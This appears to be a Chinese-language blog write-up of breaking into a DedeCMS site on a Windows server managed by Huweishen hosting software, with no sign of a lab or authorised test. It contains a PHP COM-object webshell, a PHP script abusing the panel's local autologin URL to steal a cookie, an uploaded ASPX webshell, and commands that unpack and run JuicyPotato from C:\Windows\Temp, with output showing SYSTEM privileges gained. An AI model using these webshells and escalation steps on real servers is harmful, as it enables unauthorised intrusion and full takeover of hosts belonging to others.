一个dede的站shell,看了下 disable_functions
exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,escapeshellarg,escapeshellcmd,sh2_exec,proc_terminate,proc_close
而且也不支持pcntl_exec函数,MySQL低权限用户,尝试COM组件
<?php
$command=$_GET['a'];
$wsh = new COM('Shell.Application'); //WScript.Shell
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
无回显,COM组件的WScript.Shell、Shell.Application也不支持,这条路无路可走。
只能另辟蹊径 。
通过路径名称发现是护卫神,并确定6588端口是护卫神999端口是phpmyadmin
对root试了几个弱口令也没戏
T00ls一下发现了一篇帖子
<?php
function httpGet() {
$url = 'http://127.0.0.1:6588/admin/index.asp?f=autologin';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
return $result;
}
echo httpGet();
?>
把以上代码保存为2.php放网站上运行得到Cookie
当看到有Cookie返回的时候激动的不行,赶紧拿去试试。
但是无果,成功的话响应码是302,而这是返回200,失败。
然后又回到起点,忽然一想护卫神是asp页面,传了个直接asp、aspx和jsp探测一下,发现支持asp和aspx,果断上传aspx马儿。
能够执行命令,感觉成功了一半!win2012R2
但是发现一个难点
只有一个C盘,而且回收站,temp之类的文件夹全部不可读且不可写!
头大的我直接在网站根目录上传了烂土豆
不能够回显
直接这样说明网站目录下没有程序执行权限。(各种后缀名试过了)
就这样陷入僵局,在仅有的可读目录下一个一个的翻找
看到了WinRAR,忽然想到一个法子能不能在shell下直接把exp解压到temp目录呢说干就干。
发现unrar.exe可以执行!
把烂土豆打包成rar上传到网站目录
然后shell执行
/c "C:\Program Files\WinRAR\unrar.exe" e C:\HwsHostMaster\xxx\JuicyPotato.rar C:\Windows\Temp\
Bingo~执行解压成功!直接在shell运行下是不是存在且可执行!
/c C:\Windows\Temp\JuicyPotato.exe -p "whoami"
JuicyPotato modified by skyer v0.1 [+] Testing {4991d34b-80a1-4291-83b6-3328366b9097} 16747......
[+] Auth result 0
[+] CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM
[+] Launching server C:\Windows\Temp\JuicyPotato.exe -s 17659[+] SeImpersonate enabled!
[+] CommandThread launched!
[+] CreateProcessWithTokenW OK
[+] Waiting command server...
[*] Trying connect server 127.0.0.1:17659...
[+] Command server connected!
=================================
nt authority\system
=================================